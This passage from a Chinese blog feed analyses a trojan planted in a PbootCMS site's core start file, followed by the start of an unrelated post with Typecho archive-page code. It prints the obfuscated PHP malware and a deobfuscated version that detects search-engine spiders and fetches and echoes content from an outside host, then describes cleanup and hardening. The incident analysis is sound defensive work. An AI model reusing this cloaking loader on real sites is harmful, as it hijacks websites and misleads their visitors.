class="number">57</span>\x2f\<span class="number">167</span>\<span class="number">167</span>\x77\x2e\x62\<span class="number">141</span>\<span class="number">151</span>\x64\x75\<span class="number">56</span>\<span class="number">143</span>\x6f\<span class="number">155</span>\<span class="number">57</span>\x73\x70\<span class="number">151</span>\x64\x65\<span class="number">162</span>\x38\x2e\<span class="number">150</span>\x74\x6d\x6c<span class="string">&quot;&quot;</span>) !== <span class="literal">false</span>)) &#123; <span class="keyword">goto</span> JLDSD; &#125; <span class="keyword">goto</span> LZOZu; JzezY: <span class="keyword">return</span> <span class="literal">false</span>; <span class="keyword">goto</span> Mt2Y5; Ab20v: <span class="keyword">return</span> <span class="literal">false</span>; <span class="keyword">goto</span> kd1Ep; YVe38: <span class="keyword">if</span> (!<span class="title function_ invoke__">in_array</span>(<span class="variable">$mp_hD</span>, <span class="variable">$WD7EG</span>)) &#123; <span class="keyword">goto</span> m0IkA; &#125; <span class="keyword">goto</span> hV0jT; ASvvF: <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_SERVER</span>[<span class="string">&quot;&quot;</span>\<span class="number">110</span>\x54\x54\x50\<span class="number">137</span>\<span class="number">125</span>\x53\x45\<span class="number">122</span>\<span class="number">137</span>\x41\x47\x45\<span class="number">116</span>\x54<span class="string">&quot;&quot;</span>])) &#123; <span class="keyword">goto</span> sXUGe; &#125; <span class="keyword">goto</span> xK0uH; ogmSC: JLDSD: <span class="keyword">goto</span> kX5pO; ZVPnu: Pp0jt: <span class="keyword">goto</span> S6JTJ; rY6AE: <span class="variable">$RV36y</span> = <span class="title function_ invoke__">sToIq</span>(); <span class="keyword">goto</span> zPCw7; LZOZu: <span class="keyword">return</span> <span class="literal">true</span>; <span class="keyword">goto</span> ogmSC; b1ruM: <span class="variable">$WD7EG</span> = <span class="keyword">array</span>(<span class="string">&quot;&quot;</span>\<span class="number">66</span>\x31\x2e\x31\<span class="number">63</span>\x35<span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">61</span>\x32\x33\x2e\<span class="number">61</span>\x32\<span class="number">65</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">61</span>\<span class="number">61</span>\<span class="number">61</span>\<span class="number">56</span>\x32\<span class="number">60</span>\<span class="number">66</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">61</span>\x38\x30\<span class="number">56</span>\<span class="number">67</span>\<span class="number">66</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">61</span>\x38\<span class="number">60</span>\x2e\<span class="number">61</span>\x34\<span class="number">71</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">62</span>\<span class="number">62</span>\x30\x2e\x31\x38\<span class="number">61</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">63</span>\<span class="number">66</span>\x2e\x31\<span class="number">61</span>\<span class="number">60</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">61</span>\x31\<span class="number">63</span>\x2e\x32\<span class="number">64</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">61</span>\x32\<span class="number">64</span>\<span class="number">56</span>\x31\<span class="number">66</span>\<span class="number">64</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">61</span>\<span class="number">61</span>\<span class="number">66</span>\x2e\<span class="number">61</span>\<span class="number">67</span>\<span class="number">71</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">61</span>\<span class="number">70</span>\x30\x2e\x39\<span class="number">67</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x31\x32\<span class="number">61</span>\x2e\<span class="number">61</span>\x34<span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x32\<span class="number">60</span>\x33\x2e\<span class="number">62</span>\<span class="number">60</span>\<span class="number">70</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x32\<span class="number">61</span>\x30\<span class="number">56</span>\<span class="number">67</span>\x32<span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">61</span>\<span class="number">62</span>\<span class="number">65</span>\<span class="number">56</span>\<span class="number">71</span>\<span class="number">60</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x31\<span class="number">61</span>\<span class="number">70</span>\x2e\<span class="number">61</span>\x38\x34<span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">61</span>\<span class="number">62</span>\x33\x2e\x31\<span class="number">70</span>\<span class="number">60</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x31\<span class="number">62</span>\<span class="number">63</span>\x2e\<span class="number">61</span>\<span class="number">62</span>\<span class="number">65</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">66</span>\<span class="number">61</span>\<span class="number">56</span>\x31\x33\<span class="number">65</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x31\x32\x33\x2e\<span class="number">61</span>\<span class="number">62</span>\<span class="number">66</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x31\<span class="number">61</span>\<span class="number">61</span>\x2e\x32\x30\<span class="number">62</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x33\<span class="number">66</span>\x2e\<span class="number">61</span>\<span class="number">61</span>\x30<span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x32\<span class="number">62</span>\x30\<span class="number">56</span>\<span class="number">61</span>\<span class="number">70</span>\<span class="number">61</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">61</span>\<span class="number">60</span>\x36\<span class="number">56</span>\x31\<span class="number">62</span>\<span class="number">60</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x34\x39\x2e\<span class="number">67</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x32\<span class="number">61</span>\<span class="number">70</span>\x2e\x33\x30<span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">61</span>\x30\x36\x2e\x33\<span class="number">70</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">65</span>\<span class="number">70</span>\x2e\x32\x35\<span class="number">60</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">61</span>\x38\<span class="number">63</span>\x2e\<span class="number">63</span>\x36<span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x34\x33\<span class="number">56</span>\x32\<span class="number">63</span>\x31<span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x34\<span class="number">71</span>\<span class="number">56</span>\x37\x2e\x36\x34<span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x31\<span class="number">70</span>\<span class="number">60</span>\x2e\x31\<span class="number">65</span>\<span class="number">63</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x31\<span class="number">70</span>\x30\x2e\<span class="number">61</span>\<span class="number">66</span>\<span class="number">63</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">64</span>\x32\<span class="number">56</span>\x32\<span class="number">62</span>\x34<span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">64</span>\<span class="number">62</span>\x2e\x31\x35\<span class="number">66</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">64</span>\x32\x2e\x31\x32\x30<span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x31\x30\x36\x2e\<span class="number">61</span>\x31<span class="string">&quot;&quot;</span>); <span class="keyword">goto</span> rY6AE; XZp3w: m0IkA: <span class="keyword">goto</span> JzezY; S6JTJ: <span class="variable">$mp_hD</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$RV36y</span>, <span class="number">0</span>, <span class="title function_ invoke__">strrpos</span>(<span class="variable">$RV36y</span>, <span class="string">&quot;&quot;</span>\x2e<span class="string">&quot;&quot;</span>, <span class="title function_ invoke__">strrpos</span>(<span class="variable">$RV36y</span>, <span class="string">&quot;&quot;</span>\<span class="number">56</span><span class="string">&quot;&quot;</span>) - <span class="title function_ invoke__">strlen</span>(<span class="variable">$RV36y</span>) - <span class="number">1</span>)); <span class="keyword">goto</span> YVe38; zPCw7: <span class="variable">$ZxbhK</span> = <span class="title function_ invoke__">strtolower</span>(<span class="variable">$_SERVER</span>[<span class="string">&quot;&quot;</span>\x48\x54\x54\<span class="number">120</span>\<span class="number">137</span>\<span class="number">125</span>\<span class="number">123</span>\<span class="number">105</span>\x52\<span class="number">137</span>\x41\x47\<span class="number">105</span>\x4e\x54<span class="string">&quot;&quot;</span>]); <span class="keyword">goto</span> D2Ys6; kX5pO: <span class="keyword">if</span> (!(!<span class="variable">$RV36y</span> || <span class="variable">$RV36y</span> == <span class="string">&quot;&quot;</span>\<span class="number">165</span>\<span class="number">156</span>\x6b\x6e\x6f\x77\<span class="number">156</span><span class="string">&quot;&quot;</span>)) &#123; <span class="keyword">goto</span> O93iy; &#125; <span class="keyword">goto</span> vBJCt; kd1Ep: z_dk8: <span class="keyword">goto</span> ZVPnu; hV0jT: <span class="keyword">return</span> <span class="literal">true</span>; <span class="keyword">goto</span> XZp3w; j2pOr: <span class="keyword">if</span> (!(!<span class="variable">$ZxbhK</span> || !<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;&quot;</span>\x2f\<span class="number">163</span>\x70\x69\x64\<span class="number">145</span>\<span class="number">162</span>\x2f<span class="string">&quot;&quot;</span>, <span class="variable">$ZxbhK</span>))) &#123; <span class="keyword">goto</span> z_dk8; &#125; <span class="keyword">goto</span> Ab20v; xK0uH: <span class="keyword">return</span> <span class="literal">false</span>; <span class="keyword">goto</span> JBsji; vBJCt: <span class="keyword">return</span> <span class="literal">false</span>; <span class="keyword">goto</span> yXHB6; diMX1: <span class="keyword">if</span> (!(<span class="title function_ invoke__">trim</span>(<span class="variable">$RV36y</span>) == <span class="string">&quot;&quot;</span>\x31\<span class="number">62</span>\x37\x2e\x30\<span class="number">56</span>\<span class="number">60</span>\<span class="number">56</span>\<span class="number">61</span><span class="string">&quot;&quot;</span>)) &#123; <span class="keyword">goto</span> Pp0jt; &#125; <span class="keyword">goto</span> ASvvF; JBsji: sXUGe: <span class="keyword">goto</span> ndtkG; yXHB6: O93iy: <span class="keyword">goto</span> diMX1; ndtkG: <span class="variable">$ZxbhK</span> = <span class="title function_ invoke__">strtolower</span>(<span class="variable">$_SERVER</span>[<span class="string">&quot;&quot;</span>\x48\<span class="number">124</span>\x54\<span class="number">120</span>\x5f\<span class="number">125</span>\<span class="number">123</span>\x45\x52\<span class="number">137</span>\x41\x47\x45\x4e\<span class="number">124</span><span class="string">&quot;&quot;</span>]); <span class="keyword">goto</span> j2pOr; Mt2Y5: &#125; <span class="keyword">goto</span> K7WkI; EbrH5: <span class="title function_ invoke__">flush</span>(); <span class="keyword">goto</span> KjWoV; MayE3: <span class="keyword">echo</span> <span class="variable">$uE3yz</span>; <span class="keyword">goto</span> vFmB7; TEXVu: T2WuN: <span class="keyword">goto</span> jPXTB; J6HZq: <span class="keyword">if</span> (!<span class="title function_ invoke__">pytNi</span>()) &#123; <span class="keyword">goto</span> m6xfM; &#125; <span class="keyword">goto</span> kw3K0; pJjFv: <span class="variable">$uE3yz</span> = <span class="title function_ invoke__">str_replace</span>(<span class="string">&quot;&quot;</span>\x2f\<span class="number">160</span>\<span class="number">154</span>\<span class="number">141</span>\<span class="number">171</span>\<span class="number">55</span><span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x2f\<span class="number">151</span>\<span class="number">156</span>\<span class="number">144</span>\x65\<span class="number">170</span>\x2e\<span class="number">160</span>\x68\<span class="number">160</span>\<span class="number">77</span>\<span class="number">166</span>\<span class="number">157</span>\x64\x2d\x70\x6c\x61\<span class="number">171</span>\x2d<span class="string">&quot;&quot;</span>, <span class="variable">$uE3yz</span>); <span class="keyword">goto</span> MayE3; KjWoV: m6xfM:</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 入口检测</span></span><br><span class="line"><span class="title function_ invoke__">defined</span>(<span class="string">&#x27;IS_INDEX&#x27;</span>) ?: <span class="keyword">die</span>(<span class="string">&#x27;不允许直接访问框架内核启动文件！&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 启动内核</span></span><br><span class="line">core\basic<span class="title class_">\Kernel</span>::<span class="title function_ invoke__">run</span>(); </span><br></pre></td></tr></table></figure><h4 id="逆向后"><a href="#逆向后" class="headerlink" title="逆向后"></a>逆向后</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">remoteRequest</span>(<span class="params"><span class="variable">$url</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$ch</span> = <span class="title function_ invoke__">curl_init</span>();</span><br><span class="line">    <span class="title function_ invoke__">curl_setopt_array</span>(<span class="variable">$ch</span>, [</span><br><span class="line">        CURLOPT_URL =&gt; <span class="variable">$url</span>,</span><br><span class="line">        CURLOPT_RETURNTRANSFER =&gt; <span class="literal">true</span>,</span><br><span class="line">        CURLOPT_TIMEOUT =&gt; <span class="number">10</span>,</span><br><span class="line">        CURLOPT_FOLLOWLOCATION =&gt; <span class="literal">true</span>,</span><br><span class="line">        CURLOPT_HTTPHEADER =&gt; [</span><br><span class="line">            <span class="string">&quot;&quot;</span>X-FORWARDED-<span class="attr">FOR</span>: &#123;<span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>]&#125;<span class="string">&quot;&quot;</span>,</span><br><span class="line">            <span class="string">&quot;&quot;</span>X-FORWARDED-<span class="attr">HOST</span>: &#123;<span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_HOST&#x27;</span>]&#125;<span class="string">&quot;&quot;</span>,</span><br><span class="line">            <span class="string">&quot;&quot;</span>User-<span class="attr">Agent</span>: &#123;<span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_USER_AGENT&#x27;</span>]&#125;<span class="string">&quot;&quot;</span>,</span><br><span class="line">            <span class="string">&quot;&quot;</span><span class="attr">Referer</span>: <span class="string">&quot;&quot;</span>.(<span class="keyword">isset</span>(<span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_REFERER&#x27;</span>])?<span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_REFERER&#x27;</span>]:<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">        ]</span><br><span class="line">    ]);</span><br><span class="line">    <span class="variable">$response</span> = <span class="title function_ invoke__">curl_exec</span>(<span class="variable">$ch</span>);</span><br><span class="line">    <span class="variable">$httpCode</span> = <span class="title function_ invoke__">curl_getinfo</span>(<span class="variable">$ch</span>, CURLINFO_HTTP_CODE);</span><br><span class="line">    <span class="title function_ invoke__">curl_close</span>(<span class="variable">$ch</span>);</span><br><span class="line">    <span class="keyword">return</span> (<span class="variable">$httpCode</span> == <span class="number">302</span>) ? <span class="string">&quot;&quot;</span><span class="number">302</span><span class="string">&quot;&quot;</span> : <span class="variable">$response</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">checkProxy</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="comment">// 国内常见爬虫IP段检测（已脱敏处理）</span></span><br><span class="line">    <span class="variable">$proxyRanges</span> = [<span class="string">&#x27;61.135.*&#x27;</span>,<span class="string">&#x27;123.125.*&#x27;</span>,<span class="string">&#x27;111.206.*&#x27;</span>...];</span><br><span class="line">    <span class="variable">$clientIP</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>] ?? <span class="string">&#x27;unknown&#x27;</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_ invoke__">in_array</span>(<span class="title function_ invoke__">substr</span>(<span class="variable">$clientIP</span>,<span class="number">0</span>,<span class="title function_ invoke__">strrpos</span>(<span class="variable">$clientIP</span>,<span class="string">&#x27;.&#x27;</span>)), <span class="variable">$proxyRanges</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 主攻击逻辑</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="title function_ invoke__">chmod</span>(<span class="keyword">__FILE__</span>, <span class="number">0444</span>); <span class="comment">// 设置文件只读</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$requestPath</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;s&#x27;</span>] ?? <span class="variable">$_SERVER</span>[<span class="string">&#x27;REQUEST_URI&#x27;</span>];</span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">strpos</span>(<span class="variable">$requestPath</span>, <span class="string">&#x27;vod-&#x27;</span>) !== <span class="literal">false</span>) &#123;</span><br><span class="line">    <span class="variable">$maliciousUrl</span> = <span class="string">&quot;&quot;</span>https:<span class="comment">//carefu.link/link.php?dir=/index.php?vod-&amp;host=&quot;&quot;.$_SERVER[&#x27;HTTP_HOST&#x27;];</span></span><br><span class="line">    <span class="variable">$response</span> = <span class="title function_ invoke__">remoteRequest</span>(<span class="variable">$maliciousUrl</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 动态内容篡改</span></span><br><span class="line">    <span class="variable">$response</span> = <span class="title function_ invoke__">str_replace</span>([</span><br><span class="line">        <span class="string">&#x27;/detail-&#x27;</span>, </span><br><span class="line">        <span class="string">&#x27;/type-&#x27;</span>, </span><br><span class="line">        <span class="string">&#x27;/play-&#x27;</span></span><br><span class="line">    ],[</span><br><span class="line">        <span class="string">&#x27;/index.php?vod-detail-&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;/index.php?vod-type-&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;/index.php?vod-play-&#x27;</span></span><br><span class="line">    ], <span class="variable">$response</span>);</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">header</span>(<span class="string">&quot;&quot;</span>Content-<span class="attr">Type</span>: text/html; charset=utf-<span class="number">8</span><span class="string">&quot;&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span>(!<span class="title function_ invoke__">in_array</span>(<span class="variable">$response</span>, [<span class="string">&quot;&quot;</span><span class="number">302</span><span class="string">&quot;&quot;</span>,<span class="string">&quot;&quot;</span><span class="number">0</span><span class="string">&quot;&quot;</span>])) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="variable">$response</span>;</span><br><span class="line">        <span class="title function_ invoke__">ob_flush</span>();</span><br><span class="line">        <span class="title function_ invoke__">flush</span>();</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="title function_ invoke__">http_response_code</span>(<span class="number">404</span>);</span><br><span class="line">    <span class="title function_ invoke__">header</span>(<span class="string">&quot;&quot;</span><span class="attr">Location</span>: /<span class="string">&quot;&quot;</span>);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>简单分析，可以看到这个病毒不同以往，隐蔽性要强很多，当然，清理起来也没有太大难度，只需要将该部分恶意代码删除即可，附上原始的<code>/core/start.php</code>文件代码。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@copyright</span> (C)2016-2099 Hnaoyun Inc.</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> XingMeng</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@email</span> hnxsh<span class="doctag">@foxmail</span>.com</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2016年11月5日</span></span><br><span class="line"><span class="comment"> *  内核启动文件，请使用入口文件对本文件进行引用即可</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 引入初始化文件</span></span><br><span class="line"><span class="keyword">require</span> <span class="title function_ invoke__">dirname</span>(<span class="keyword">__FILE__</span>) . <span class="string">&#x27;/init.php&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 入口检测</span></span><br><span class="line"><span class="title function_ invoke__">defined</span>(<span class="string">&#x27;IS_INDEX&#x27;</span>) ?: <span class="keyword">die</span>(<span class="string">&#x27;不允许直接访问框架内核启动文件！&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 启动内核</span></span><br><span class="line">core\basic<span class="title class_">\Kernel</span>::<span class="title function_ invoke__">run</span>(); </span><br></pre></td></tr></table></figure><h3 id="安全防护"><a href="#安全防护" class="headerlink" title="安全防护"></a>安全防护</h3><p>搞清楚攻击逻辑后，防御起来也很简单，通过分析PbootCMS源码目录结构，将<code>apps、config、core、template</code>​这几个目录以及<code>index.php</code>的写权限禁用掉即可。</p>]]>
    </content>
    <id>https://careful.fyi/posts/1743584134/</id>
    <link href="https://careful.fyi/posts/1743584134/"/>
    <published>2025-04-02T08:55:34.000Z</published>
    <summary>
      <![CDATA[<p>今天检查站点的时候，发现其中一个站点使用搜索引擎蜘蛛模拟访问时跳转到了色情网站，查看了下原代码，被挂马已经有一段时间了，相较以前遇到的木马病毒，这个病毒做的很隐蔽，作为管理者，很容易忽视，以下是木马核心文件以及分析，希望能为搜到这篇文章的你提供帮助。</p>
<h3 id=]]>
    </summary>
    <title>用PbootCMS制作的站点被挂木马分析及清理</title>
    <updated>2026-02-28T05:24:44.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>谨行</name>
    </author>
    <category term="技术" scheme="https://careful.fyi/categories/%E6%8A%80%E6%9C%AF/"/>
    <category term="主题移植" scheme="https://careful.fyi/tags/%E4%B8%BB%E9%A2%98%E7%A7%BB%E6%A4%8D/"/>
    <category term="Typecho" scheme="https://careful.fyi/tags/Typecho/"/>
    <category term="Typecho主题" scheme="https://careful.fyi/tags/Typecho%E4%B8%BB%E9%A2%98/"/>
    <content>
      <![CDATA[<p>Typecho 按年输出归档页面这个功能，网上能检索到现成的代码，但对于移植主题复杂的 html 结构而言实现起来太过繁琐，以下是网上找到的代码，在此基础上进行修改太过烧脑，遂尝试使用更优雅的方式，html 结构更清晰，方便主题移植时候根据原始 html 结构进行适配。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">  <span class="title class_">Typecho_Widget</span>::<span class="title function_ invoke__">widget</span>(<span class="string">&#x27;Widget_Contents_Post_Recent&#x27;</span>, <span class="string">&#x27;pageSize=&#x27;</span>.</span><br><span class="line">  <span class="title class_">Typecho_Widget</span>::<span class="title function_ invoke__">widget</span>(<span class="string">&#x27;Widget_Stat&#x27;</span>)-&gt;publishedPostsNum)-&gt;<span class="title function_ invoke__">to</span>(<span class="variable">$archives</span>);</span><br><span class="line">  <span class="variable">$date_y</span>=<span class="number">0</span>;<span class="variable">$date_m</span>=<span class="number">0</span>;<span class="variable">$output</span> = <span class="string">&#x27;&#x27;</span>;<span class="variable">$huan</span>=<span class="number">0</span>;</span><br><span class="line">  <span class="keyword">while</span>(<span class="variable">$archives</span>-&gt;<span class="title function_ invoke__">next</span>())&#123;</span><br><span class="line">    <span class="variable">$date_t</span> = <span class="title function_ invoke__">explode</span>(<span class="string">&quot;&quot;</span>,<span class="string">&quot;&quot;</span>, <span class="title function_ invoke__">date</span>(<span class="string">&#x27;Y,m,d&#x27;</span>, <span class="variable">$archives</span>-&gt;created));</span><br><span class="line">    <span class="keyword">if</span>(<span class="variable">$date_y</span> &gt; <span class="variable">$date_t</span>[<span class="number">0</span>])&#123;</span><br><span class="line">      <span class="variable">$date_m</span>  = <span class="number">0</span>;</span><br><span class="line">      <span class="variable">$article_nums</span>[] = <span class="variable">$article_num</span>;</span><br><span class="line">      <span class="variable">$output</span> .= <span class="string">&#x27;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span>(<span class="variable">$date_y</span> != <span class="variable">$date_t</span>[<span class="number">0</span>])&#123;</span><br><span class="line">      <span class="variable">$date_y</span>  = <span class="variable">$date_t</span>[<span class="number">0</span>];<span class="variable">$article_num</span>=<span class="number">0</span>;</span><br><span class="line">      <span class="variable">$article_flag</span>[] = <span class="variable">$tmp_flag</span> = <span class="string">&#x27;archives_&#x27;</span>.<span class="variable">$huan</span>++;</span><br><span class="line">      <span class="variable">$output</span> .= <span class="string">&#x27;&lt;h2&gt;&#x27;</span>.<span class="variable">$date_y</span>.<span class="string">&#x27; &lt;span&gt;×&#x27;</span>. <span class="variable">$tmp_flag</span> .<span class="string">&#x27;&lt;/span&gt;&lt;/h2&gt;&lt;ul&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="variable">$output</span> .= <span class="string">&#x27;&lt;li&gt;&lt;time&gt;&#x27;</span>.<span class="variable">$date_t</span>[<span class="number">1</span>].<span class="string">&#x27;.&#x27;</span>.<span class="variable">$date_t</span>[<span class="number">2</span>].<span class="string">&#x27;&lt;/time&gt; &lt;a href=&quot;&quot;&#x27;</span>.<span class="variable">$archives</span>-&gt;permalink.<span class="string">&#x27;&quot;&quot;&gt;&#x27;</span>.<span class="variable">$archives</span>-&gt;title.<span class="string">&#x27;&lt;/a&gt; &lt;sup&gt;&lt;a href=&quot;&quot;&#x27;</span>.<span class="variable">$archives</span>-&gt;permalink.<span class="string">&#x27;#comment&quot;&quot;&gt;&#x27;</span>.<span class="variable">$archives</span>-&gt;commentsNum.<span class="string">&#x27;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&#x27;</span>;</span><br><span class="line">    <span class="variable">$article_num</span>++;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="variable">$article_nums</span>[] = <span class="variable">$article_num</span>;</span><br><span class="line">  <span class="variable">$output</span> .= <span class="string">&#x27;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&#x27;</span>;</span><br><span class="line">  <span class="keyword">echo</span> <span class="title function_ invoke__">str_replace</span>(<span class="variable">$article_flag</span>, <span class="variable">$article_nums</span>, <span class="variable">$output</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>首先需要把以下代码放入 <code>functions.php</code> ​中，在 Cherry 主题中测试没什么 BUG。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span 